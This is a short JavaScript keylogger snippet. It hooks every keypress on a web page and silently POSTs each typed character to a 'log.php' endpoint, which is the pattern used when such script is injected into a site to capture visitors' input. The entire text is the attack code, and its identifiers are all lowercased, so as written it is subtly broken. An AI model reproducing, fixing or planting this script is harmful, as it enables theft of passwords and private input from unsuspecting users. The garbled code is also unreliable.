document.onkeypress = function(evt) { evt = evt || window.event key = string.fromcharcode(evt.charcode) if(key) { var http = new xmlhttprequest(); var param = encodeuri(key) http.open("post","log.php",true); http.setrequestheader("content-type","application/x-www-form-urlencoded"); http.send("key="+param); } }